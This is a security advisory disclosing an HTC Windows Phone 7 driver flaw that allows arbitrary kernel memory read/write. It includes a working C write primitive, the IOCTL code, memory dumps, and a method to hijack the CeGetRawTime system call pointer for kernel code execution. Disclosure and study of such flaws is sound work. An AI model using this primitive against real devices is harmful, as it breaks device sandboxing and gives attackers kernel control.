MWR InfoSecurity Advisory

HTC Windows Phone 7 – Arbitrary Read/Write of Kernel Memory

10/11/2011

Package Name	HTC Windows Phone 7 Phones
Date	10/11/2011
Affected Versions	HTC HD7 confirmed to be vulnerable. It is expected all versions of HTC Windows Phone 7 phones which contain HTCUtility driver are vulnerable.

Author	Alex Plaskett
Severity	High Risk
Local/Remote	Local
Vulnerability Class	Debug functionality provided in production phone
Vendor	HTC www.htc.com

Description

A device driver (HTCUtility.dll) was found which would allow an attacker to read/write arbitrary kernel memory through the use of a specific DeviceIoControl request. No security policies were found to restrict access to this device from the low privileged chamber.

Impact

This vulnerability could be used to execute code in kernel memory space effectively bypassing security mechanisms provided in user space.

Cause

It is expected that the cause of this vulnerability is vendor specific debug code being inadvertently included in a production build.

Interim Workaround

As an interim workaround a security policy could be provided by the vendor to limit access to this driver functionality.

Solution

A solution will require a patch from the vendor. It is expected that this debug functionality should be removed from production firmware before deployment. Multiple attempts were made to contact the vendor which were unsuccessful therefore MWR has decided to release this advisory.

Introduction

A vulnerability exists on HTC Windows 7 phones which include the HTCUtility device driver (HTCUtility.dll). This vulnerability can be used to perform arbitrary reads and writes of kernel memory. This vulnerability has been confirmed and tested on HTC HD7 and it is expected that other HTC Windows Phone 7 are also affected.

The vulnerability exists due to the presence of what is assumed to be debug functionality left in retail devices from pre-production phones. The HTCUtility exposes functionality which would provide an attacker a method of reading and writing arbitrary memory.

In order to understand the severity of this vulnerability then it is necessary for the Windows Phone 7 security model to be examined.

Windows Phone 7 uses the concept of chambers to implement its security model.

There are four chamber types (in order of privilege from highest to low) as follows:

- Trusted Computing Base (TCB) – Fixed Permissions
- Elevated Rights – Fixed Permissions
- Standard Rights – Fixed Permissions
- Least Privilege Chamber (LPC) – Dynamic Permissions

When a third party Silverlight application is deployed a chamber is created using the Least Privilege Chamber permission set.

Mobile Internet Explorer also was found to run in the least privileged chamber restricting the access that the browser has to resources on the system.

When accessing a resource a security policy check is carried out to determine if the caller has access to the resource. The access checks are implemented in the kernel using SID's to identify the applications/users and a policy database to allow or deny access.

As well as the chamber based sandbox model kernel enforces separation between user land and kernel space to ensure segregation between user space and kernel memory address spaces.

The vulnerability identified allows an attacker to bypass these security restrictions by allowing arbitrary code to execute in kernel memory space (TCB). This would allow an attacker to disable any protection mechanisms implemented in the kernel.

Technical Description

The device driver HTCUtility (HTCUtility.dll) exposes a DeviceIoControl code which provides read/write access to the entire virtual memory space of the phone (both user land and kernel memory space).

It is necessary to open the device driver "HTU0:" to obtain a handle to the device driver (hDevice).

The control code **0x9020002C** (dwIoControlCode) is used for providing access to the read/write functionality.

The input buffer (lpInBuffer) must be crafted in the following way:

```
struct REQUEST
{
        DWORD bMode;
        PDWORD pdwAddress;
};
```

The bMode flag denotes whether the desired access is read mode 0 or write mode 1. The pdwAddress specifies the address required to read or write at.

In order to perform a write the output buffer must contain the data required to write at the address specified in the input buffer.

Exploit Information

The following function can be used to perform a write of kernel memory:

```
#define IOCTL_HTU_ACCESS_REGISTER 0x9020002C

void __stdcall PluginMem::WriteMemory(DWORD address, DWORD dwValue, DWORD * ret)
{
        HANDLE h1 = CreateFileW(L"HTU0:",0xC0000000,0x3,0,0,0,0);
        DWORD result = dwValue;

        struct REQUEST
        {
              DWORD bMode;
              PDWORD pdwAddress;
        };

        REQUEST req;

        memset(&req,0,sizeof(req));

        req.bMode = 1; // 0 = Read, 1 = Write

        if (address == 1)
              req.pdwAddress = &value;
        else
              req.pdwAddress = (PDWORD) address;

        if (h1 == INVALID_HANDLE_VALUE)
        {
              *ret = -1;
              return;
        }

        if (DeviceIoControl(h1,IOCTL_HTU_ACCESS_REGISTER,&req,0x8,&result,0x4,0,0))
        {
```

```
                *ret = result;
        }
        else
        {
                *ret = -1;
        }
}
```

To read kernel memory the bMode flag can be switched to 0.

In order to gain code execution in the context of the kernel a function pointer to a system call was chosen to be overwritten with an attacker controlled address. This attacker controlled address would point at arbitrary controlled attacker code which would execute in the context of the kernel.

In Windows CE 6 and 7 (which Windows Phone 7 is based on) when a system call is made from user space an exception is triggered which is handled by the prefetch abort handler in the kernel. The prefetch abort handler passes this off to the system call table to locate the function to call. The system call dispatch table is implemented using an array of APISets structures.

In order to locate the system call table the following method was used. The KDataStruct was chosen because it resides at a fixed memory address (0xFFFFC800). The KDataStuct contains a large amount of important information used by the kernel to keep track of resources.

The KDataStruct is made up of the following elements:

```
struct KDataStruct {
    LPDWORD lpvTls;         /* 0x000 Current thread local storage pointer */       4 bytes
    HANDLE  ahSys[NUM SYS HANDLES]; /* 0x004 If this moves, change kapi.h */      128
handles
    char    bResched;       /* 0x084 reschedule flag */
    char    cNest;          /* 0x085 kernel exception nesting */
    char    bPowerOff;      /* 0x086 TRUE during "power off" processing */
    char    bProfileOn;     /* 0x087 TRUE if profiling enabled */
    ulong   unused;         /* 0x088 unused */
    ulong   rsvd2;          /* 0x08c was DiffMSec */
    PPROCESS pCurPrc;       /* 0x090 ptr to current PROCESS struct */
    PTHREAD pCurThd;        /* 0x094 ptr to current THREAD struct */
    DWORD   dwKCRes;        /* 0x098  */
    ulong   handleBase;     /* 0x09c handle table base address */
    PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */
    LPEVENT alpeIntrEvents[SYSINTR MAX DEVICES];/* 0x1a0 */
    LPVOID  alpvIntrData[SYSINTR_MAX_DEVICES];  /* 0x220 */
    ulong   pAPIReturn;     /* 0x2a0 direct API return address for kernel mode */
    uchar   *pMap;          /* 0x2a4 ptr to MemoryMap array */
    DWORD   dwInDebugger;   /* 0x2a8 !0 when in debugger */
    PTHREAD pCurFPUOwner;   /* 0x2ac current FPU owner */
    PPROCESS pCpuASIDPrc;   /* 0x2b0 current ASID proc */
    long    nMemForPT;      /* 0x2b4 - Memory used for PageTables */
    long    alPad[18];      /* 0x2b8 - padding */
    DWORD   aInfo[32];      /* 0x300 - misc. kernel info */
} /* KDataStruct */
```

The aInfo[32] array contains important kernel information that can help locate the system call tables.

The data at that address was then dumped (0xFFFFC800 + 0x300 = 0xFFFFCB00). As shown below:

```
Address: FFFFCB00 Data: 80998620     address of process array
Address: FFFFCB04 Data: 00001000     system page size
Address: FFFFCB08 Data: 00000000     shift for page # in PTE
Address: FFFFCB0C Data: FFFFF000     mask for page # in PTE
Address: FFFFCB10 Data: 0001351F     # of free physical pages
Address: FFFFCB14 Data: 000003D5     # of pages used by kernel
Address: FFFFCB18 Data: 809952A8     ptr to kernel heap array
Address: FFFFCB1C Data: 00000000     ptr to sectiontable array
Address: FFFFCB20 Data: 80997C20     ptr to system memoryinfo struct
Address: FFFFCB24 Data: 00000000     ptr to module list
Address: FFFFCB28 Data: 00000000    lower bound of DLL shared space
Address: FFFFCB2C Data: 0001DA91     total # of RAM pages
Address: FFFFCB30 Data: 807F4188     ptr to ROM table of contents
Address: FFFFCB34 Data: FFFFC800     ptr to kernel mode version of KData
Address: FFFFCB38 Data: 00000000     Current amount of gwes heap in use
Address: FFFFCB3C Data: 00000000     Fast timezone bias info
Address: FFFFCB40 Data: FFFFC830
Address: FFFFCB44 Data: 00000000
Address: FFFFCB48 Data: 00000000
Address: FFFFCB4C Data: 035204E4
Address: FFFFCB50 Data: 00000809     Default System locale
Address: FFFFCB54 Data: 00000809     Default User locale
Address: FFFFCB58 Data: 00000BC0     Kernel heap wasted space
Address: FFFFCB5C Data: 00000000     For use by debugger for protocol communication
Address: FFFFCB60 Data: 80997680     APIset pointer
```

The APIset pointer points at the following data structure.

```
typedef struct  CINFO {
      char acName[4]; /* 00: object type ID string */
      uchar disp; /* 04: type of dispatch */
      uchar type; /* 05: api handle type */
      ushort cMethods; /* 06: # of methods in dispatch table */
      const PFNVOID   *ppfnExtMethods; /* 08: ptr to array of methods ...
      const PFNVOID   *ppfnIntMethods; /* 0C: ptr to array of methods ...
      const ULONGLONG *pu64Sig; /* 10: ptr to array of method si...
      DWORD dwServerId; /* 14: server process id */
      PHDATA phdApiSet; /* 18: HDATA of API set */
      PFNAPIERRHANDLER pfnErrorHandler; /* 1C: ptr to the API s...
} CINFO;
typedef CINFO *PCINFO;
```

The ppfnExtMethods is a pointer to an array of functions which are used when a system call is made.

The following caption shows the data dumped from these memory addresses:

```
Address: 80997680 Data: 80533AE0     ApiSet[0] -> ptr to CINFO struct

  _CINFO struct:
  Address: 80533AE0 Data: 32336E57   object type id         char[4] Wn32
  Address: 80533AE4 Data: 008C0003   disp, type, methods    uchar, uchar, ushort (dist = 3,
type = 0, cMethods = 8C)
  Address: 80533AE8 Data: 80533220   ptr to external array of methods
       Ptr's in method table
       Address: 80533220 Data: 80558B24      Method 0
       Address: 80533224 Data: 80558B24      Method 1
       Address: 80533228 Data: 805759BC      ..
       Address: 8053322C Data: 805538F0
       Address: 80533230 Data: 80552C2C
       Address: 80533234 Data: 8055BDD0
       Address: 80533238 Data: 8055BFD0
       Address: 8053323C Data: 80567628
       Address: 80533240 Data: 8056774C
```

```
        Address: 80533244 Data: 80567EE8
        Address: 80533248 Data: 80567F20
        Address: 8053324C Data: 80567C80
        Address: 80533250 Data: 80567D0C
        Address: 80533254 Data: 8055C368
        Address: 80533258 Data: 8056BF78
        Address: 8053325C Data: 8056BA5C      ..
        Address: 8056BA5C Data: E92D40F0
```

The system call CeGetRawTime was chosen to be used to patch to point at the attacker controlled code.

The system call was defined as the following (therefore is element 126 in the table):

```
#define W32_CeGetRawTime                126
```

At this stage the attacker can overwrite the pointer in the table to point at attacker controlled code. When a user land program then calls the system call which has been overwritten the attacker controlled function pointer will be used and the attacker's code will be executed in the context of the kernel. Shellcode creation is left as an exercise to the reader.

Dependencies

In order to exploit this vulnerability then it would require the attacker to already have code running on the device (for example in the least privileged chamber with ID_CAP_INTEROPSERVICES capability). However, this vulnerability can be used to circumvent the security model enforced by the Windows Phone 7 kernel chambers model from a low privileged chamber.